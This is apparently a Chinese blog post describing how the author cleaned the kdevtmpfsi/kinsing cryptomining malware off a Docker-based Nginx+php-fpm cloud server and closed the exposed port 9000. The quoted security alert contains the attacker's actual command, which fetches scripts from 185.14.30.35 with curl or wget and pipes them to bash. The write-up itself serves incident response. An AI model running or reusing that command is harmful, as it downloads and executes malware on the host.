雲伺服器處置挖礦病毒 kdevtmpfsi
檢視告警資訊
昨天剛在伺服器中通過 docker 上線了一個 Nginx+PHP 站點(雙容器連結),半夜時分就接收到了阿里雲發來的告警資訊。
惡意指令碼程式碼執行 緊急 發生時間:2022-05-19 00:54:55 IP:*** *** 告警描述:檢測模型發現您的伺服器上正在執行惡意的Bash、Powershell、Python等指令碼程式碼。 異常事件詳情 命令列:curl -s http://185.14.30.35/ph.sh 程序PID:14065 程序檔名:curl 父程序ID:14063 父程序:bash 父程序檔案路徑:/usr/bin/bash 程序鏈: -[874] /usr/bin/containerd -[13606] containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc -[13613] runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/log.json --log-format json create --bundle /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac --pid-file /run/containerd/io.containerd.runtime.v1.linux/moby/e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac/init.pid e83f2ef1bd970fffd1943c71f325f9e769cbb2cd4451d271a5fc317de2f7e6ac -[13622] php-fpm -[13673] php-fpm -[14062] sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh -[14063] sh -c [ -f "/bin/bash" ] && (curl -s http://185.14.30.35/ph.sh||wget -q -O- http://185.14.30.35/ph.sh)|bash || (curl -s http://185.14.30.35/ph2.sh||wget -q -O- http://185.14.30.35/ph2.sh)|sh 事件說明:雲安全中心檢測到您的主機正在執行惡意的指令碼程式碼(包括但不限於bash、powershell、python),請立刻排查入侵來源。如果是您的運維行為,請選擇忽略。
分析惡意程式碼來源
基本上就是兩種情況:一是外部攻破了防火牆,通過SSH或者注入執行的指令碼;二是此前上線的站點中存在惡意程式碼。
由於我使用的是金鑰檔案登入而禁用了密碼,基本上可以確定是本地檔案的問題。
根據告警資訊,提示了一個 IPv4地址的伺服器。想都不用想,IP 地址肯定做了中轉,一查顯示“荷蘭弗萊福蘭”,直接略過。
更重要的是 “php-fpm
” 這一提示,說明 Nginx 交由 php-fpm 解析的檔案中存在問題。
進行處置
停止執行
SSH 上伺服器後,top
檢視有沒有異常程式,發現了 CPU 滿佔用的程序 kdevtmpfsi
。網上搜索它其實是一個挖礦程式,由 kinsing
ps -ef | grep kdevtmpfsi
systemctl status [kdevtmpfsi PID]
# 若病毒程序隱藏的好,或者像我使用的是輕量級應用伺服器,這一步其實看不到什麼資訊
ps -ef | grep kinsing
kill -9 [kdevtmpfsi PID] [kinsing PID]
# 臨時強制停止服務,惡意程式會自啟,要抓緊時間找到原始檔
找到病毒原始檔
find / -name "kdevtmpfsi"
find / -name "kinsing"
主機中搜索相關檔案,發現在 /tmp/
和類似 /var/lib/docker/ovorlay2/****/tmp/kdevtmpfsi
find / -name "kdevtmpfsi" | xargs rm -rf
find / -name "kinsing" | xargs rm -rf
因 Nginx 將 PHP 檔案交由 php-fpm 容器渲染,惡意挖礦程式大概率在 php-fpm 容器中。
現將上線的 PHP 檔案打包備份用於之後在沙箱中分析,刪除原 PHP 檔案。
接下來分析 php-fpm 容器中的程序,發現確實在該容器中執行。
docker top php-fpm-rc
docker 官方上傳的映象一般沒有什麼問題,需要將 php-fpm 容器(連同其資料卷一同)刪除。
至此,病毒理應不會再次上線。
幸虧每次上線服務前,我都會存個快照,為防止病毒沒有刪除乾淨,恢復快照重新來過。
沙箱分析
通過沙箱分析未發現有惡意程式碼,考慮到 kdevtmpfsi
挖礦病毒出來時間已經幾年了,分析結果應該可信。說明是伺服器被攻擊執行的惡意程式碼。
檢查伺服器防火牆
核實伺服器埠許可權
官方 php-fpm 容器預設埠為 9000 ,可能攻擊者因此會共計所有 9000埠開放的主機,所以需要配置訪問來源規則 ***.***.***.***/0
,或者修改為其他埠。而我使用的9000埠則是之前一個開放的訪問埠,未作修改,現將埠許可權修改再做測試。